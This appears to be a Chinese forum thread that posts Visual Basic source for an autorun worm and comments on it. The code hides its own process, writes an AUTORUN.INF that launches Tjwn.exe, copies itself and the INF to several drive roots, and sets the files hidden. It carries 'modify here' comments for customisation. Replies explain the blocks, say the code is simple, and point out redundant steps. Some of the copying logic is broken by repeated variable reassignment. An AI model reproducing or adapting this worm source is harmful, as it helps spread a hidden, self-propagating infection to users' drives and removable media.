Sub Main()
'=======================
'=============================
App.TaskVisible = False '隐藏进程
On Error Resume Next '跳过错误执行下面的程序
Open App.Path & "\AUToRUN.Inf" For Output As #1
Print #1, "[AuToRuN]"
Print #1, "OPEN=Tjwn.exe" '注意修改
Print #1, "shell\open=打开(&O)" '注意修改
Print #1, "shelL\open\ComMand=Tjwn.exe" '注意修改
Close #1
'==============================
Dim xi007, xj008, Tjwn, Tjwn_
'...........................................
xj007 = App.Path & "\Tjwn.exe" '注意修改
xj008 = "C:\Tjwn.exe" '注意修改
xj008 = "e:\Tjwn.exe" '注意修改
xj008 = "f:\Tjwn.exe" '注意修改
xj008 = "g:\Tjwn.exe" '注意修改
xj008 = "h:\Tjwn.exe" '注意修改
xj008 = "i:\Tjwn.exe" '注意修改
xj008 = "k:\Tjwn.exe" '注意修改
xj008 = "d:\Tjwn.exe" '注意修改
FileCopy xj007, xj008
'--------------------------------
Tjwn = App.Path & "\AUToRUN.Inf"
Tjwn_ = "C:\AUToRUN.Inf"
FileCopy Tjwn, Tjwn_
'==============================
Dim xi07, xj08, Tjwn_h, Tjwn__
'...........................................
xj07 = App.Path & "\Tjwn.exe" '注意修改
xj08 = "c:\Tjwn.exe" '注意修改
xj08 = "e:\Tjwn.exe" '注意修改
xj08 = "f:\Tjwn.exe" '注意修改
xj08 = "g:\Tjwn.exe" '注意修改
xj08 = "h:\Tjwn.exe" '注意修改
xj08 = "i:\Tjwn.exe" '注意修改
xj08 = "k:\Tjwn.exe" '注意修改
xj08 = "d:\Tjwn.exe" '注意修改
FileCopy xj07, xj08
'--------------------------------
Tjwn_h = App.Path & "\AUToRUN.Inf"
Tjwn__ = "c:\AUToRUN.Inf"
Tjwn__ = "e:\AUToRUN.Inf"
Tjwn__ = "f:\AUToRUN.Inf"
Tjwn__ = "g:\AUToRUN.Inf"
Tjwn__ = "h:\AUToRUN.Inf"
Tjwn__ = "i:\AUToRUN.Inf"
Tjwn__ = "k:\AUToRUN.Inf"
Tjwn__ = "d:\AUToRUN.Inf"
FileCopy Tjwn_h, Tjwn__
'====================================
Call SetAttr(App.Path & "\Tjwn.exe", vbHidden) '隐藏最初的文件
Call SetAttr(App.Path & "\AUToRUN.Inf", vbHidden) '隐藏最初的文件
Call SetAttr("c:\Tjwn.exe", vbHidden) '隐藏最初的文件
Call SetAttr("c:\AUToRUN.Inf", vbHidden) '隐藏最初的文件
Call SetAttr("e:\Tjwn.exe", vbHidden) '隐藏最初的文件
Call SetAttr("e:\AUToRUN.Inf", vbHidden) '隐藏最初的文件
Call SetAttr("f:\Tjwn.exe", vbHidden) '隐藏最初的文件
Call SetAttr("f:\AUToRUN.Inf", vbHidden) '隐藏最初的文件
Call SetAttr("g:\Tjwn.exe", vbHidden) '隐藏最初的文件
Call SetAttr("g:\AUToRUN.Inf", vbHidden) '隐藏最初的文件
Call SetAttr("h:\Tjwn.exe", vbHidden) '隐藏最初的文件
Call SetAttr("h:\AUToRUN.Inf", vbHidden) '隐藏最初的文件
Call SetAttr("i:\Tjwn.exe", vbHidden) '隐藏最初的文件
Call SetAttr("i:\AUToRUN.Inf", vbHidden) '隐藏最初的文件
Call SetAttr("k:\Tjwn.exe", vbHidden) '隐藏最初的文件
Call SetAttr("k:\AUToRUN.Inf", vbHidden) '隐藏最初的文件
Call SetAttr("d:\Tjwn.exe", vbHidden) '隐藏最初的文件
Call SetAttr("d:\AUToRUN.Inf", vbHidden) '隐藏最初的文件
End Sub

FS

用什么编啊?
...............

程序是用vb写的.

第一个程序段是在当前路径下创建一个名为AUToRUN.Inf的文件并将以下内容写入:
[AuToRuN]
OPEN=Tjwn.exe
shell\open=打开(&O)
shelL\open\ComMand=Tjwn.exe

第二个程序段将当前路径下的Tjwn.exe复制到各个硬盘分区.

Tjwn = App.Path & "\AUToRUN.Inf"
Tjwn_ = "C:\AUToRUN.Inf"
FileCopy Tjwn, Tjwn_
/*上面这段代码将当前路径下的AUTORUN.inf 复制到c盘下,但是这个功能在后面的代码中已经实现了,不知作者为何多加一笔.*/

Dim xi07, xj08, Tjwn_h, Tjwn__
'...........................................
xj07 = App.Path & "\Tjwn.exe" '注意修改
xj08 = "c:\Tjwn.exe" '注意修改
xj08 = "e:\Tjwn.exe" '注意修改
xj08 = "f:\Tjwn.exe" '注意修改
xj08 = "g:\Tjwn.exe" '注意修改
xj08 = "h:\Tjwn.exe" '注意修改
xj08 = "i:\Tjwn.exe" '注意修改
xj08 = "k:\Tjwn.exe" '注意修改
xj08 = "d:\Tjwn.exe" '注意修改
FileCopy xj07, xj08
/*上述代码的功能是将Tjwn.exe复制到各个硬盘分区,但是此功能前面第二个程序段已经实现这里为什么还要写,不明白请作者指教.*/

最后面两个程序段分别是将AUTORUN.inf文件复制到各个分区和隐藏各个盘根路径下的AUToRUN.Inf与Tjwn.exe两个文件.

值得收藏和研究 以前中这个病毒就头疼
现在我也研究下 哈哈

哦，那些是注释撒！~怕菜菜没看不懂才+上的，高手可以闪过撒！~

原来是这种
可惜没干坏事，可以说事都没干

谢了，下下

感觉是ＶＢ写的．．．．．．．．．．．．．．没什么技术含量｀｀｀｀个人而言｀｀｀

学习一下，vb不精，只能看懂，不能创新。。。
哈哈，还是谢谢啦